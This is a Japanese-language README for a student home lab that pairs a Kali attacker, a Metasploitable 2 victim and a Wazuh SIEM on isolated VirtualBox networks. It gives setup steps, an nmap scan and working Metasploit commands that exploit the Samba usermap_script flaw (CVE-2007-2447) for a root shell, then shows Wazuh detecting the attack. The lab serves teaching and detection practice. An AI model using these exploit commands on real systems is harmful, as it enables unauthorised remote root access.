🛡️ CVE-2007-2447 悪用 & SIEM検知ラボ (Wazuh + MITRE ATT&CK)

B.Tech プロジェクト (BTP) | IIIT Pune 基盤: 「Designing and Implementing an Effective Cybersecurity Home Lab for Detection and Monitoring」 — ICCCNT 2023, IIT Delhi

無料・オープンソースツールのみを使用して単一マシン上に構築した、完全動作するサイバーセキュリティホームラボ。このラボは、偵察 → 悪用 → 検知という実世界の攻撃ライフサイクルをシミュレートし、SIEMが攻撃をリアルタイムで検知してMITRE ATT&CKフレームワークにマッピングする方法を実演します。

📐 ラボ構成

┌─────────────────────────────────────────────────┐
│           VirtualBox — Internal Network          │
│              (cyberlab, 10.0.0.x/24)             │
│                                                  │
│  ┌──────────┐   ┌──────────────┐   ┌──────────┐ │
│  │  Kali    │   │ Metasploitable│  │  Ubuntu  │ │
│  │ 10.0.0.1 │◄─►│   10.0.0.2   │◄─►│ 10.0.0.3 │ │
│  │ ATTACKER │   │    VICTIM     │  │   SIEM   │ │
│  └──────────┘   └──────────────┘   └──────────┘ │
└─────────────────────────────────────────────────┘
         Host-Only Adapter (192.168.56.103)
         → Wazuh Dashboard access from browser

🧰 ツールと技術

🔧 セットアップガイド

前提条件

• 少なくとも 16 GB RAM を搭載したマシン（3台すべてのVMを同時に実行）
• VirtualBox 7.x がインストール済み
• 約50 GBの空きディスク容量

ステップ 1 — VirtualBoxでのネットワーク設定

VirtualBoxで cyberlab という名前の内部ネットワークを作成します。3台すべてのVMにこのアダプターを割り当てます。Ubuntu/Wazuh VMには、ブラウザからダッシュボードにアクセスできるように、追加のホストオンリーアダプターを割り当てます。

ステップ 2 — Kali Linux（攻撃者）

1. Kali Linux VirtualBoxイメージ をダウンロード
2. インポートして cyberlab 内部ネットワークアダプターを割り当てる
3. 静的IPを設定:

# Edit /etc/network/interfaces
auto eth0
iface eth0 inet static
    address 10.0.0.1
    netmask 255.255.255.0

4. ネットワークを再起動: sudo systemctl restart networking

ステップ 3 — Metasploitable 2（被害者）

1. Metasploitable 2 をダウンロード
2. VirtualBoxにインポートし、cyberlab ネットワークを割り当てる
3. 静的IPを設定:

# Edit /etc/network/interfaces
auto eth0
iface eth0 inet static
    address 10.0.0.2
    netmask 255.255.255.0

⚠️ Metasploitable 2をインターネットに公開しないでください。 意図的に安全でない構成になっています。

ステップ 4 — Ubuntu + Wazuh SIEM（防御側）

1. Ubuntu Server 22.04 をインストール
2. 2つのアダプターを割り当て: cyberlab 内部 + ホストオンリー
3. netplanで静的IPを設定 (/etc/netplan/01-network-manager-all.yaml):

network:
  version: 2
  renderer: NetworkManager
  ethernets:
    enp0s3:
      addresses:
        - 10.0.0.3/24
    enp0s8:
      dhcp4: true

4. Wazuhをインストール（シングルノード）:

curl -sO https://packages.wazuh.com/4.7/wazuh-install.sh
sudo bash wazuh-install.sh -a

5. ダッシュボードにアクセス: https://192.168.56.103（ホストのブラウザから）

ステップ 5 — Syslog経由でMetasploitableをWazuhに接続

Metasploitable 2はWazuhエージェントを実行できないため、エージェントレス監視用にsyslog転送を構成します:

Metasploitableで、/etc/rsyslog.conf に追記:

*.* @10.0.0.3:514

Wazuh（Ubuntu）で、/var/ossec/etc/ossec.conf のsyslog入力を有効化:

<remote>
  <connection>syslog</connection>
  <port>514</port>
  <protocol>udp</protocol>
</remote>

Wazuhを再起動: sudo systemctl restart wazuh-manager

⚔️ 攻撃シミュレーション

フェーズ 1 — 偵察（Nmap）

# From Kali
nmap -sV -O 10.0.0.2

Metasploitable 2で発見された主要サービス:

20以上のオープンポートを発見。OSフィンガープリント: Linux 2.6.x

フェーズ 2 — 悪用（Metasploit）

脆弱性: CVE-2007-2447 — Samba usermap_script コマンドインジェクション

Samba 3.0.0–3.0.25rc3 において、不正なMS-RPCリクエストを介して認証なしのリモートコード実行を可能にします。

# From Kali — launch Metasploit
msfconsole

# Inside Metasploit
use exploit/multi/samba/usermap_script
set RHOSTS 10.0.0.2
set LHOST 10.0.0.1
run

# Verify root access
whoami
# Output: root

フェーズ 3 — 検知（Wazuh SIEM）

エクスプロイト後、Wazuhは自動的にイベントを検知し、MITRE ATT&CK にマッピングしました:

検知されたイベント総数: 55以上

ダッシュボード https://192.168.56.103 → Security Events → MITRE ATT&CK にアクセス

📊 主な結果

• ✅ 隔離環境で攻撃ライフサイクル全体の再現に成功
• ✅ CVE-2007-2447により数秒で認証なしのrootシェルを獲得
• ✅ Wazuh SIEMがすべての攻撃をリアルタイムで検知しMITRE ATT&CKにマッピング
• ✅ syslog転送によりレガシーなMetasploitableシステムのエージェントレス監視を実現
• ✅ ラボ全体を16 GB RAMの単一ホストマシン上で稼働

📁 リポジトリ構成

cybersecurity-home-lab/
│
├── README.md                  ← You are here
├── network-config/
│   ├── kali-interfaces.txt    ← Kali static IP config
│   ├── metasploitable-interfaces.txt
│   └── ubuntu-netplan.yaml    ← Ubuntu/SIEM netplan config
├── wazuh-config/
│   └── ossec.conf             ← Wazuh syslog/agent config
├── screenshots/
│   ├── nmap-scan.png
│   ├── metasploit-exploit.png
│   ├── wazuh-dashboard.png
│   └── wazuh-alerts-table.png
└── report/
    └── ICCCNT_2023_paper.pdf  ← Reference research paper

🔗 参考文献

Dadiyala, C. et al. (2023). Designing and Implementing an Effective Cybersecurity Home Lab for Detection and Monitoring. 14th International Conference on Computing, Communication and Networking Technologies (ICCCNT), IIT Delhi. IEEE-56998.

⚠️ 免責事項

このラボは完全に隔離された仮想マシン上に構築されており、攻撃シミュレーション中はインターネットアクセスはありません。すべてのツールと技術は、管理された環境内での教育目的にのみ厳密に使用されます。所有していないシステム、またはテストする明示的な許可を得ていないシステムに対して、攻撃技術を再現しようとしないでください。

Harshita Verma 発表 | IIIT Pune